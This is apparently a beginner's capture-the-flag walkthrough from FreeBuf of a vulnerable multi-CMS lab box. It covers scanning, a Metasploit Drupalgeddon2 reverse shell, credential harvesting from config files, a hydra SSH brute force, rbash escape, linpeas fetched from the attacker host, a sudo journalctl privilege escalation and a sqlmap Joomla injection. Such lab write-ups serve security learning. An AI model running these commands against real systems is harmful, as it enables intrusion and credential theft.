环境
靶场IP:192.168.1.6
Kali虚拟机IP:192.168.1.7
前期信息收集
nmap端口扫描
nmap -sV -A -T4 -p1-65535 192.168.1.6
通过nmap扫描发现开放了22/80/5000/8081/9001端口,其中5000端口是wordpress,8081端口是用Joomla,9001端口是Drupal,用dirsearch扫描了下目录感觉没有什么特别有用的,先放一边,看靶场名字可以感觉到重点在CMS,所以继续对CMS具体版本进行扫描。
CMS版本扫描
1.wpscan –url http://192.168.1.6:5000/-e u
得知wordpress版本为5.7.2(这个前面nmap也扫出了)和用户名wordpress_admin
2.perl joomscan.pl –url http://192.168.1.6:8081/
得到joomla版本3.4.3
3.python3 cmsmap.py http://192.168.1.6:9001
得到drupal版本7.54
漏洞利用getshell
网上搜了下,drupal 7.54有个RCE漏洞CVE-2018-7600,Msf上有现成的payload可以用,成功getshell。
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2 msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.1.6 RHOSTS => 192.168.1.6 msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 9001 RPORT => 9001 msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run [*] Started reverse TCP handler on 192.168.1.7:4444 [*] Sending stage (38288 bytes) to 192.168.1.6 [*] Meterpreter session 1 opened (192.168.1.7:4444 -> 192.168.1.6:49986) at 2021-06-18 11:30:14 +0800 meterpreter > shell Process 9591 created. Channel 0 created. python3 -c "import pty;pty.spawn('/bin/bash')" www-data@vuln_cms:~/html/drupal$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data)
权限提升
1.看了下具备suid的有哪些命令,发现好像没有能够直接用来提权的。
find / -perm -u=s -type f 2>/dev/null
2.之前nmap扫到有开放ssh端口,感觉应该从ssh登陆这个点找起。先收集可能的用户名和密码。
cat /etc/passwd ls -l /home #收集到elliot、tyrell、ghost这三个普通用户,先保存到user文件里 #找到drupal配置文件,收集到数据库用户名密码:drupal_admin/p@$$_C!rUP@!_cM5,将密码保存到pass文件里 /var/www/html/drupal/sites/default/settings.php #找到joomla配置文件,收集到数据库用户名:joomla_admin/j00m1_@_dBpA$$,将密码保存到pass文件里 /var/www/html/joomla/configuration.php #找到wordpress配置文件,收集到数据库用户名密码:wp_admin/UUs3R_C!B@p@55,将密码保存到pass文件里 /var/www/html/wordpress/public_html/wp-config.php #不急着爆破,先把这些数据库用户名拿去试下连接数据看看还有没有其他用户名密码可以收集。发现只有joomla的数据库用户名可以登上mysql数据库。查询hs23w_users表里有用户名密码字段,但是密码字段是加密的,发现elliot用户的email字段处的值5T3e!_M0un7i@N(其实这个一开始漏了,只看了密码字段加密了就放弃了,后来才发现)不像是正常email格式反而有点像是密码,也保存到pass文件中。
3.用户名密码收集的差不多了,准备用hydra开始尝试对ssh爆破。
hydra -L user -P pass ssh://192.168.1.6
4.通过elliot/5T3e!_M0un7i@N成功ssh登陆目标服务器,之前查看/etc/passwd可以发现elliot用户是/bin/rbash,很多命令无法使用,先尝试rbash逃逸。
#python3命令可以使用,利用python3逃逸 elliot@vuln_cms:~$ /bin/bash -rbash: /bin/bash: restricted: cannot specify `/' in command names elliot@vuln_cms:~$ python3 Python 3.6.9 (default, Jan 26 2021, 15:33:00) [GCC 8.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.system("/bin/bash") elliot@vuln_cms:~$ export PATH=$PATH:/bin:/usr/bin elliot@vuln_cms:~$ /bin/bash
5.逃逸成功后,查看了/home/elliot目录下的user.txt也没有其他提示,sudo -l发现elliot也没有权限,一下子没有了思路。后来去网上去找了一些大佬的提权方法看,发现有个提权辅助工具linpeas.sh,可以收集linux上的可利用信息。
1.先在kali里起一个简单的http服务:
python -m SimpleHTTPServer 80
2.回到靶机中下载到/home/elliot目录下并执行
wget http://192.168.1.7/linpeas.sh chmod +x linpeas.sh ./linpeas.sh > output.txt #找下另外两个用户相关的信息有没有 cat output.txt | grep -i tyrell
发现了tyrell的密码(还是之前信息收集的不够到位)
6.利用tyrell的密码成功ssh登陆靶机,查看sudo -l发现有个免密使用的命令/bin/journalctl,利用/bin/journalctl成功提权
#先执行命令 sudo journalctl #进行提权 !/bin/sh
关于wordpress和joomla
可能看下来觉得wordpress和joomla这两个CMS好像没有什么用。其实joomla 3.4.3版本存在一个SQL注入漏洞,利用这个漏洞其实可以查到joomla数据库里的信息。wordpress有点奇怪,搜了下版本没有相关的RCE漏洞可以利用,就随手试了下目录wp-login,竟然有个webshell后门(=.=),能进行查看等命令,不能反弹shell。所以其实一开始的前期收集靠这wordpress和joomla这两个漏洞就已经收集好了,drupal的RCE漏洞反而是后来找的,只是为了WP看起来整体更顺(再加上wordpress这个实在有点靠运气,不知道该怎么写)所以就写了drupal的这个RCE漏洞。
joomla SQL注入漏洞
sqlmap -u "http://192.168.1.6:8081/index.php?option=com_contenthistory&view=history&item_id=1&list[ordering]=&type_id=1&list[select]=1" --dbs
wordpress后门
总结
信息收集真的非常关键,最开始卡住的点就在于email字段上的那个密码,一开始完全忽略了,导致一直进行不下去。然后提权辅助工具这些也要多了解一些。纯新手,很多地方自己也一知半解的,还在学习中,写下来也是为了记录一下自己的操作,有哪里写的不对的地方请大家指出哈。谢谢啦。
来源:freebuf.com 2021-06-18 14:09:42 by: limbingx
请登录后发表评论
注册